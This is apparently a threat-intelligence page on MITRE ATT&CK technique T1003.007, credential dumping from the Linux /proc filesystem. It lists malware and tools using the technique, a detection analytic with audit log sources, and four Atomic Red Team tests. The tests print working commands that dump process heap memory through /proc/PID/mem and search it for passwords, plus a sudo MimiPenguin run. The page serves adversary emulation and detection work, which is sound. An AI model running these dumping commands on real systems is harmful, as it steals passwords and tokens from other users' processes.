tfMITRE ATT&CK sub-technique

Proc Filesystem T1003.007

sub-technique of T1003 OS Credential Dumping

Tactic: Credential Access
Platform: Linux
Version: 1.2
Created: 11 February 2020
Last modified: 24 October 2025
Contributor: Tim (Wadhwa-)Brown

Adversaries may gather credentials from the proc filesystem or /proc. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the /proc/<PID>/maps file shows how memory is mapped within the process’s virtual address space. And /proc/<PID>/mem, exposed for debugging purposes, provides access to the process’s virtual address space.[1][2]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsNone recorded

Threat groupsNone recorded · 29% of ATT&CK techniques have none either.

CampaignsNone recorded

CampaignsNone recorded · 54% of ATT&CK techniques have none either.

Tools & malware66th pct

Tools & malware66th percentile · 66% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesNone recorded

Detection rulesNone recorded · 33% of ATT&CK techniques have none either.

Proc Filesystem MITRE reference T1003.007

66th pctamong all ATT&CK techniques for number of tools

5 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

Mini Shai-HuludS9043 ↗

Has scraped runner process memory to extract short-lived identity tokens, which it then exchanged for per-package npm trusted-publisher tokens.1

created 2026-07-29MALWAREcarried by 1 group

TeamPCP Cloud StealerS9041 ↗

Can scrape memory from the Runner.Worker process by reading /proc/<pid>/mem to extract secrets including plaintext tokens.1 2 3 4 5 6

created 2026-07-01MALWAREcarried by 1 group

PACEMAKERS1109 ↗

Has the ability to extract credentials from OS memory.1

created 2024-02-08MALWAREcarried by 1 group

LaZagneS0349 ↗

Can use the <PID>/maps and <PID>/mem files to identify regex patterns to dump cleartext passwords from the browser's process memory.1 2

created 2019-01-30TOOLcarried by 12 groups

MimiPenguinS0179 ↗

Can use the <PID>/maps and <PID>/mem file to search for regex patterns and dump the process memory.1 2

created 2018-01-16TOOLcarried by 1 group

All 5 software entries for this technique

Offense vs defense T1003.007

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

Proc Filesystem detection strategy DET0593

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detecting OS Credential Dumping via /proc Filesystem Access on Linux

Enterprise

1 platform

AN1631 · Linux

Monitoring adversary access to sensitive process memory via the /proc filesystem to extract credential material, often involving multi-step access to /proc/[pid]/mem or /proc/[pid]/maps combined with privilege escalation or credential scraping binaries.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	linux:Sysmon	EventCode=1
Process AccessDC0035	auditd:SYSCALL	ptrace or process_vm_readv
File AccessDC0055	auditd:SYSCALL	open, read
File ModificationDC0061	auditd:SYSCALL	write

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
AccessedFilePath	Monitored paths such as /proc/[pid]/mem or /proc/[pid]/maps may need to be scoped based on environment
ProcessName	Command-line or binary names associated with credential scraping tools may vary
UserContext	Elevated user or unexpected user context accessing other process memory may indicate malicious activity
TimeWindow	Correlating memory access with process creation or ptrace activity within a specific time range

Tests4Executorssh 3 · bash 1Need elevation4 of 4Have prerequisites4Have cleanup4Platformslinux

# Test Platform Executor Elevation Prereqs Cleanup Ref

01 Dump individual process memory with sh (Local) linux sh Required 1 Yes

Using /proc/$PID/mem, where $PID is the target process ID, use shell utilities to copy process memory to an external file so it can be searched or exfiltrated later.

Input arguments

Name	Type	Default	Description
pid_term	string	T1003.007	Unique string to use to identify target process
output_file	path	/tmp/T1003.007.bin	Path where captured results will be placed
script_path	path	/tmp/T1003.007.sh	Path to script generating the target process

Attack command

sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
HEAP_MEM=$(grep -E "^[0-9a-f-]* r" /proc/"$PID"/maps | grep heap | cut -d' ' -f 1)
MEM_START=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f1))))
MEM_STOP=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f2))))
MEM_SIZE=$(echo $((0x$MEM_STOP-0x$MEM_START)))
dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE"
grep -i "PASS" "#{output_file}"

Cleanup command

rm -f "#{output_file}"

Prerequisite

Script to launch target process must exist

Check

test -f #{script_path}
grep "#{pid_term}" #{script_path}

Satisfy

echo '#!/bin/sh' > #{script_path}
echo "sh -c 'echo \"The password is #{pid_term}\" && sleep 30' &" >> #{script_path}

GUID0351b25d-12ae-40cf-8533-2d0e5c355ad0

02 Dump individual process memory with sh on FreeBSD (Local) linux sh Required 1 Yes

Using /proc/$PID/mem, where $PID is the target process ID, use shell utilities to copy process memory to an external file so it can be searched or exfiltrated later. On FreeBSD procfs must be mounted.

Input arguments

Name	Type	Default	Description
pid_term	string	T1003.007	Unique string to use to identify target process
output_file	path	/tmp/T1003.007.bin	Path where captured results will be placed
script_path	path	/tmp/T1003.007.sh	Path to script generating the target process

Attack command

sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
MEM_START=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f1)
MEM_STOP=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f2)
MEM_SIZE=$(echo $(($MEM_STOP-$MEM_START)))
dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE"
strings "#{output_file}" | grep -i PASS

Cleanup command

rm -f "#{output_file}"

Prerequisite

Script to launch target process must exist

Check

test -f #{script_path}
grep "#{pid_term}" #{script_path}

Satisfy

echo '#!/bin/sh' > #{script_path}
echo "sh -c 'echo \"The password is #{pid_term}\" && sleep 30' &" >> #{script_path}

GUID75c228cc-f796-49be-b165-1699e4c0c5a4

03 Dump individual process memory with Python (Local) linux sh Required 2 Yes

Using /proc/$PID/mem, where $PID is the target process ID, use a Python script to copy a process's heap memory to an external file so it can be searched or exfiltrated later. On FreeBSD procfs must be mounted.

Input arguments

Name	Type	Default	Description
pid_term	string	T1003.007	Unique string to use to identify target process
output_file	path	/tmp/T1003.007.bin	Path where captured results will be placed
script_path	path	/tmp/T1003.007.sh	Path to script generating the target process
python_script	path	PathToAtomicsFolder/T1003.007/src/dump_heap.py	Path to script generating the target process

Attack command

sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
PYTHON=$(which python || which python3 || which python2)
$PYTHON #{python_script} $PID #{output_file}
grep -i "PASS" "#{output_file}"

Cleanup command

rm -f "#{output_file}"

Prerequisite

Script to launch target process must exist

Check

test -f #{script_path}
grep "#{pid_term}" #{script_path}

Satisfy

echo '#!/bin/sh' > #{script_path}
echo "sh -c 'echo \"The password is #{pid_term}\" && sleep 30' &" >> #{script_path}

Prerequisite

Requires Python

Check

(which python || which python3 || which python2)

Satisfy

echo "Python 2.7+ or 3.4+ must be installed"

GUID0b5b867b-42bd-465e-9eab-275b29ae26b7

04 Capture Passwords with MimiPenguin linux bash Required 4 Yes

MimiPenguin is a tool inspired by MimiKatz that targets Linux systems affected by CVE-2018-20781 (Ubuntu-based distros and certain versions of GNOME Keyring). Upon successful execution on an affected system, MimiPenguin will retrieve passwords from memory and output them to a specified file. See https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20781. See https://www.tecmint.com/mimipenguin-hack-login-passwords-of-linux-users/#:~:text=Mimipenguin%20is%20a%20free%20and,tested%20on%20various%20Linux%20distributions.

Input arguments

Name	Type	Default	Description
output_file	path	/tmp/T1003.007Test3.txt	Path where captured results will be placed
MimiPenguin_Location	path	PathToAtomicsFolder/../ExternalPayloads/mimipenguin/mimipenguin.sh	Path of MimiPenguin script

Attack command

sudo bash "#{MimiPenguin_Location}" > "#{output_file}"
cat "#{output_file}"

Cleanup command

rm -f #{output_file} > /dev/null
rm -rf $(dirname "#{MimiPenguin_Location}")

Prerequisite

MimiPenguin script must exist on disk at specified location (#{MimiPenguin_Location})

Check

if [ -f "#{MimiPenguin_Location}" ]; then exit 0; else exit 1; fi;

Satisfy

payload_dir=$(dirname "#{MimiPenguin_Location}")
mkdir -p "$payload_dir"
wget -O "$payload_dir/mimipenguin.tar.gz" https://github.com/huntergregal/mimipenguin/releases/download/2.0-release/mimipenguin_2.0-release.tar.gz
tar -xzf "$payload_dir/mimipenguin.tar.gz" --strip-components=1 -C "$payload_dir"

Prerequisite

Strings must be installed

Check

if [ -x "$(command -v strings --version)" ]; then exit 0; else exit 1; fi;

Satisfy

sudo apt-get -y install binutils

Prerequisite

Python2 must be installed

Check

if [ -x "$(command -v python2 --version)" ]; then exit 0; else exit 1; fi;

Satisfy

sudo apt-get -y install python2

Prerequisite

Libc-bin must be installed

Check

if [ -x "$(command -v ldd --version)" ]; then exit 0; else exit 1; fi;

Satisfy

sudo apt-get -y install libc-bin

GUID17e9c0c4-6ea6-42be-9823-12680fe740b4

Tests from Atomic Red Team (MIT licence) · technique definition

Proc Filesystem detections T1003.007

No detection rules are mapped to this technique yet.

None recorded— 33% of ATT&CK techniques have none either

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs